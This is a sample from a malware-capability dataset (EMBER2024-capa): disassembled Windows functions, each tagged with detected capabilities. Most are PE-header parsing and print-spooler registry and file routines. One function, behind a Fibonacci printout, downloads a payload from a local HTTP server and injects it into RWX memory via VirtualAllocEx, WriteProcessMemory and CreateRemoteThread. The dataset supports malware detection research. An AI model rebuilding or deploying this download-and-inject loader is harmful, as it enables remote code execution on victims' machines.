joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002230
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002238
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002230
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000228d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002284
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002230
add rax, 0x28
cmp rax, r9
jne 0x140002270
xor eax, eax
ret

Function at 0x140002290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000236f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002378
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140007bd0
Capabilities:
Allocate or change rwx memory
Create thread
Download url
Execute shellcode via indirect call
Inject thread
Receive data
Spawn thread to rwx shellcode

Disassembly:
push r13
mov eax, 0x100458
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1400024f0
sub rsp, rax
xor ebx, ebx
xor esi, esi
call fcn.140001540
lea rdi, [rsp + 0x60]
xor eax, eax
xor r11d, r11d
mov ecx, 0xfc
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x50], r11
rep stosd dword [rdi], eax
mov ecx, 0x3fffc
mov qword [rsp + 0x48], r9
lea rdi, [rsp + 0x460]
rep stosd dword [rdi], eax
mov ecx, 0x32
mov dword [rsp + 0x44], r10d
lea r12, [rsp + 0x44]
mov qword [rsp + 0x58], r11
lea rbp, [rsp + 0x50]
lea r13, [rsp + 0x450]
mov qword [rsp + 0x450], rbx
mov qword [rsp + 0x458], rbx
xor ebx, ebx
call fcn.140001450
lea rcx, str.Fibonacci:__lld_n
mov rdx, rax
call fcn.140007b80
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
lea r8, [rsp + 0x48]
lea rdx, str.http:__192.168.1.86:8000_index.php
call sub.urlmon.dll_URLOpenBlockingStreamA
mov rcx, qword [rsp + 0x48]
mov r9, r12
mov r8d, 0x400
mov rdx, rbp
mov rax, qword [rcx]
call qword [rax + 0x18]
mov eax, dword [rsp + 0x44]
test eax, eax
je 0x140007cb4
lea rdx, [r13 + rbx]
mov rsi, rbp
mov rcx, rax
add rbx, rax
mov rdi, rdx
rep movsb byte [rdi], byte [rsi]
jmp 0x140007c80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rbx + rbx]
mov rsi, r13
mov rbp, rax
call sub.msvcrt.dll_malloc
mov rcx, rbx
mov r8, rbx
xor edx, edx
mov rdi, rax
mov r12, rax
mov r9d, 0x3000
rep movsb byte [rdi], byte [rsi]
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov r8, r12
mov rcx, rbp
mov rsi, rax
xor eax, eax
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov r9, rsi
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, rbp
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
or edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x100458
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x14000d984
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000d6d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000d9da
mov ecx, 1
call fcn.14000d6d0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
int1
mov ebx, 0x7ce2c1cb
xchg ebp, eax
cdq
and eax, 0x9268f7c4
xchg byte [rsi], bh
mov ebx, 0xcefff7fb
sub al, 0x4e
invalid
Function at 0x1400021d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002222
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002222
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002222
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002222
cmp dword [rcx + 0x84], 0xe
jbe 0x140002222
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002224
xor al, al
add rsp, 0x28
ret
Function at 0x140002ea0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp dword [0x1400b72e0], 0
je 0x14001b188
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call sym.spoolsv.exe_PrvRevertToPrinterSelf
xor edx, edx
lea r8, str.RouterPreInitEvent
mov rdi, rax
lea ecx, [rdx + 2]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenEventW]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
jne 0x14001b21e
mov rax, qword [str._S_v_]
lea rcx, str._S_v_
cmp rax, rcx
je 0x14001b1f2
test byte [rax + 0x44], 0x20
je 0x14001b1f2
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
mov rcx, qword [str._S_v_]
lea edx, [rbx + 0x15]
mov r9d, eax
lea r8, [0x14009b580]
mov rcx, qword [rcx + 0x38]
call fcn.14002e7e0
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
xor r8d, r8d
lea rcx, [0x14009a248]
mov edx, eax
call fcn.1400543c8
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_SetEvent]
nop dword [rax + rax]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
test rdi, rdi
je 0x14001b265
mov rcx, rdi
call sym.spoolsv.exe_PrvImpersonatePrinterClient
test eax, eax
jne 0x14001b265
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
mov edx, eax
mov ecx, 0x69
call fcn.140053fc0
or edx, 0xffffffff
call fcn.14004f900
nop
jmp 0x140002eb7
Function at 0x140008ee0
Capabilities:
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14001d18b
cmp dword [rcx], 0x6060
jne 0x14001d18b
mov rax, qword [0x1400b72d8]
cmp qword [rcx + 8], rax
jne 0x14001d102
mov rcx, qword [rcx + 0x10]
mov rax, qword [rax + 0x2b0]
call qword [0x140097890]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rcx + 0x38]
cmp rcx, 0xffffffffffffffff
je 0x14001d181
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
or qword [rbx + 0x38], 0xffffffffffffffff
cmp qword [rbx + 0x40], 0
je 0x14001d181
call sym.spoolsv.exe_PrvRevertToPrinterSelf
mov rcx, qword [rbx + 0x40]
mov rdi, rax
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
nop dword [rax + rax]
test eax, eax
jne 0x14001d156
mov rcx, qword [rbx + 0x40]
lea r8d, [rax + 4]
xor edx, edx
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
nop dword [rax + rax]
test rdi, rdi
je 0x14001d163
mov rcx, rdi
call sym.spoolsv.exe_PrvImpersonatePrinterClient
mov r8, qword [rbx + 0x40]
xor edx, edx
mov rcx, qword [0x1400b72a0]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
and qword [rbx + 0x40], 0
mov eax, 1
jmp 0x140008f24
mov ecx, 6
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetLastError]
nop dword [rax + rax]
xor eax, eax
jmp 0x140008f24
Function at 0x14000ba20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400b57a8]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebp, ebp
mov rsi, rcx
mov qword [rsp + 0x38], rbp
mov ebx, ebp
test rcx, rcx
je 0x14000bbbb
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bp
jne 0x14000ba62
inc rax
cmp rax, 0x207
jae 0x14000bbbb
mov ecx, 0x438
call sym.spoolsv.exe_PrvDllAllocSplMem
mov rdi, rax
test rax, rax
je 0x14000bbbb
lea rcx, [rsp + 0x40]
call fcn.14000bd50
lea r9, str.PrintersConnections
mov edx, 0x21c
sub r9, rdi
mov rcx, rdi
lea rax, [rdx + 0x7ffffde2]
test rax, rax
je 0x14000bacf
movzx eax, word [r9 + rcx]
test ax, ax
je 0x14000bacf
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x14000baac
test rdx, rdx
lea rax, [rcx - 2]
lea rdx, [rdi + 0x2a]
mov r8d, 0x207
cmovne rax, rcx
mov rcx, rsi
mov word [rax], bp
mov eax, 0x5c
mov word [rdi + 0x28], ax
call sym.spoolsv.exe_PrvFormatPrinterForRegistryKey
mov ecx, 0x20019
call sym.spoolsv.exe_PrvSplGetClientUserHandle
mov rsi, rax
test rax, rax
je 0x14000bb99
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14000bb8a
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, [0x140099450]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x30], 0x208
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
je 0x14001d35c
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov rcx, qword [0x1400b72a0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.14000bbf0
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400130f0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rbx, qword [0x1400b72d8]
jmp 0x14001d385
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0x50]
call qword [sym.imp.msvcrt.dll__wcsicmp]
nop dword [rax + rax]
test eax, eax
je 0x14000bb79
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14001d365
jmp 0x14000bb79

Function at 0x14000bbf0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rdx, qword [rcx]
mov rbx, rcx
cmp rdx, 0xffffffffffffffff
je 0x14000bc1d
test rdx, rdx
je 0x14000bc1d
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_SetThreadToken]
nop dword [rax + rax]
test eax, eax
je 0x14001d390
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14000c3e4
mov ecx, 1
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_ExitProcess]
Function at 0x14000d6d0
Capabilities:
Delete file
Move file

Disassembly:
test rcx, rcx
je 0x14000d76a
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1400b6fe8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_EnterCriticalSection]
nop dword [rax + rax]
mov rax, qword [rbx + 0x20]
test rax, rax
jne 0x14002cf18
or edx, 0xffffffff
mov rcx, rbx
call fcn.14000d790
lea rcx, [rbx + 0x18]
cmp qword [rcx], 0
jne 0x14000d783
lea rcx, [0x1400b6fe8]
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_LeaveCriticalSection]
nop dword [rax + rax]
mov rcx, qword [rbx + 0x38]
cmp rcx, 0xffffffffffffffff
jne 0x14002cf26
mov rcx, qword [rbx + 0x40]
test rcx, rcx
jne 0x14002cf38
mov r8, qword [rbx + 0x48]
test r8, r8
jne 0x14000d76c
mov rcx, qword [0x1400b72a0]
mov r8, rbx
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
add rsp, 0x20
pop rbx
ret
mov rcx, qword [0x1400b72a0]
xor edx, edx
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
jmp 0x14000d74d
call fcn.140007ff4
jmp 0x14000d716
and qword [rax + 8], 0
mov rax, qword [rax + 0x10]
jmp 0x14000d6f8
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
nop
jmp 0x14000d737
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_DeleteFileW]
nop dword [rax + rax]
test eax, eax
jne 0x14002cf5e
mov rcx, qword [rbx + 0x40]
lea r8d, [rax + 4]
xor edx, edx
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
nop dword [rax + rax]
mov r8, qword [rbx + 0x40]
xor edx, edx
mov rcx, qword [0x1400b72a0]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
and qword [rbx + 0x40], 0
jmp 0x14000d744
Function at 0x14000da30
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x1400b57a8]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov rdx, rcx
lea rcx, [rsp + 0x58]
call fcn.14000ebb4
lea rdx, str.Local_SettingsPrintersPropertyBags
lea rcx, [rsp + 0x58]
call fcn.14000ebec
test eax, eax
js 0x14000dac0
mov rdx, qword [rsp + 0x60]
lea rax, [rsp + 0x40]
and qword [rsp + 0x40], 0
mov r9d, 0x1000b
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000003
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
je 0x14001d82c
lea rcx, [rsp + 0x40]
call fcn.140012a58
mov rdx, qword [rsp + 0x60]
call fcn.14000edc4
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400130f0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xor edx, edx
lea rcx, [0x1400a9e20]
mov r8d, 0x800
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
nop dword [rax + rax]
and qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.14006bc68
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x14001d8f5
lea rdx, str.SplIsValidUserPropertyBag
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetProcAddress]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
je 0x14001d8f5
xor ebx, ebx
and qword [rsp + 0x38], 0
lea r9, [rsp + 0x48]
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x70]
and qword [rsp + 0x28], 0
mov edx, ebx
mov rcx, qword [rsp + 0x40]
and qword [rsp + 0x20], 0
mov dword [rsp + 0x48], 0x104
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegEnumKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001d8f5
lea rcx, [rsp + 0x70]
mov rax, rdi
call qword [0x140097890]
test al, al
jne 0x14001d8f1
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteTreeW]
nop dword [rax + rax]
inc ebx
jmp 0x14001d888
lea rcx, [rsp + 0x50]
call fcn.14006bc68
nop
jmp 0x14000dab6
Function at 0x14000dc1c
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x1400b57a8]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor ebp, ebp
mov rsi, r9
mov r14, r8
mov r12, rdx
mov r13, rcx
test rdx, rdx
jne 0x14000dc5f
xor eax, eax
jmp 0x14000ddf6
mov edi, 0x208
lea r9, str.winspool
mov edx, edi
lea r8, [0x14009b6c0]
lea rcx, [rsp + 0x30]
call fcn.14000de28
or rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov rcx, rbx
inc rcx
cmp word [rax + rcx*2], bp
jne 0x14000dc8a
mov r15d, ecx
lea rbp, [rsp + 0x30]
mov edx, edi
sub edx, ecx
lea rbp, [rbp + r15*2]
mov rcx, rbp
test r14, r14
jne 0x14000dd58
mov eax, dword [rsi]
lea r9, [0x14009b6a0]
lea r8, str._s_.2d:
mov dword [rsp + 0x20], eax
call fcn.14000de28
inc dword [rsi]
cmp dword [rsi], 0x63
jbe 0x14000dcd3
and dword [rsi], r14d
call sym.spoolsv.exe_PrvRevertToPrinterSelf
mov rcx, rbp
mov rsi, rax
call fcn.14000df08
test rsi, rsi
je 0x14000dcf0
mov rcx, rsi
call sym.spoolsv.exe_PrvImpersonatePrinterClient
xor esi, esi
lea rcx, [rsp + 0x30]
mov rax, rbx
inc rax
cmp word [rcx + rax*2], si
jne 0x14000dcfa
mov rcx, qword [r13 + 0x10]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x30]
xor r8d, r8d
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
mov rcx, rdi
lea rax, [rsp + 0x30]
cmp word [rax], si
je 0x14000dd4b
add rax, 2
sub rcx, 1
jne 0x14000dd3c
test rcx, rcx
je 0x14000dd8d
mov rax, rdi
sub rax, rcx
jmp 0x14000dd90
mov r8, r14
call fcn.14000bcd0
lea rcx, [rsp + 0x30]
mov edx, 0x2c
lea rcx, [rcx + r15*2]
call qword [sym.imp.msvcrt.dll_wcschr]
nop dword [rax + rax]
xor esi, esi
test rax, rax
je 0x14000dcf2
mov word [rax], si
jmp 0x14000dcf2
mov rax, rsi
test rcx, rcx
je 0x14000ddb0
sub rdi, rax
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
mov rdx, rdi
lea r9, str._15_45
call fcn.1400386ac
lea rax, [rsp + 0x30]
inc rbx
cmp word [rax + rbx*2], si
jne 0x14000ddb5
lea r8d, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], r8d
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [r13 + 0x18]
mov rdx, r12
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
mov eax, 1
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400130f0
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x450
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000df08
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea rax, [r11 + 0x18]
mov rsi, rcx
mov qword [r11 + 0x18], rbx
xor r8d, r8d
mov qword [r11 - 0x18], rax
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionPorts
mov rcx, 0xffffffff80000002
lea r9d, [rbx + 2]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jne 0x14000df84
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
mov dword [rsp + 0x28], 2
lea r9d, [rbx + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov word [rsp + 0x48], bx
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
nop dword [rax + rax]
mov edi, eax
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000df9a
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov rsi, qword [rsp + 0x58]
test edi, edi
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14000e5dc
Capabilities:
Delete registry key

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r15, qword [0x1400b72f0]
xor r14d, r14d
mov r13, r9
mov qword [rax + 8], r14
mov r12, r8
mov ebp, edx
xor esi, esi
mov rbx, qword [r15 + 0x60]
mov rcx, rbx
call fcn.1400035f8
mov rax, r12
neg rax
mov eax, 0x80070057
sbb edi, edi
not edi
and edi, eax
test r12, r12
je 0x14000e674
and dword [r12], esi
lea rcx, [r15 + 0x38]
test rcx, rcx
je 0x14001f2e8
xor eax, eax
lea edi, [rsi + 1]
add rcx, 8
je 0x14000e656
mov rax, qword [rcx + 0x10]
test rcx, rcx
je 0x14000e674
cmp rax, rcx
je 0x14000e674
mov edx, ebp
sub edx, dword [rax + 0x24]
js 0x14000e674
test edx, edx
jne 0x14001f2ef
mov rsi, rax
xor edi, edi
test edi, edi
jne 0x14000e7ae
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.14000f53c
mov r14, qword [rsp + 0x70]
mov edi, eax
test edi, edi
js 0x14000e74b
mov rbp, qword [r14 + 0x30]
mov rcx, r13
mov rdx, rbp
call fcn.14000ecf0
mov edi, eax
test eax, eax
js 0x14000e728
and qword [rsp + 0x70], 0
lea r8, [0x140099bb0]
mov rax, qword [rsi + 0x38]
lea r9, str.SoftwareMicrosoftWindows_NTCurrentVersionWindowsSessionDefaultDevices
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov rdx, rbp
mov qword [rsp + 0x20], r8
call fcn.14000efb4
mov edi, eax
test eax, eax
jg 0x14001f2f8
test edi, edi
js 0x14000e728
mov rdx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteKeyExW]
nop dword [rax + rax]
mov r8, qword [rsp + 0x70]
xor edx, edx
mov rcx, qword [0x1400b72a0]
call qword [sym.imp.api_ms_win_core_heap_l1_1_0.dll_HeapFree]
nop dword [rax + rax]
cmp dword [r14 + 0x24], 0
jne 0x14000e74b
dec dword [r15 + 0x30]
mov edx, 1
mov rax, qword [r14]
mov rcx, r14
mov dword [r12], edx
mov rax, qword [rax]
call qword [0x140097890]
test rsi, rsi
je 0x14000e764
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
mov rax, qword [rax]
call qword [0x140097890]
test edi, edi
jns 0x14000e785
mov rcx, qword [str._S_v_]
lea rax, str._S_v_
cmp rcx, rax
je 0x14000e785
test byte [rcx + 0x44], 0x20
jne 0x14001f306
mov rcx, rbx
call fcn.140003630
lea r11, [rsp + 0x40]
mov eax, edi
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
js 0x14000e74b
mov edi, 0x80004005
jmp 0x14000e690
mov edi, eax
jmp 0x14000e674
mov rax, qword [rax + 0x10]
jmp 0x14000e656
movzx edi, ax
or edi, 0x80070000
jmp 0x14000e6ec
mov rcx, qword [rcx + 0x38]
lea r8, [0x1400aa688]
mov edx, 0xd
mov r9d, edi
call fcn.14002e7e0
nop
jmp 0x14000e785
Function at 0x14000f2a4
Capabilities:
Query or enumerate registry key

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x40
and qword [r11 - 0x10], 0
lea r9, [r11 + 8]
and qword [r11 - 0x18], 0
mov rbx, rcx
mov eax, dword [rcx + 0x14]
xor edx, edx
and dword [rcx + 0x10], 0
mov r8, qword [rcx + 8]
and qword [r11 - 0x20], 0
mov rcx, qword [rcx]
and qword [r11 - 0x28], 0
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegEnumKeyExW]
nop dword [rax + rax]
test eax, eax
jle 0x14000f2f3
movzx eax, ax
or eax, 0x80070000
mov dword [rbx + 0x18], eax
add rsp, 0x40
pop rbx
ret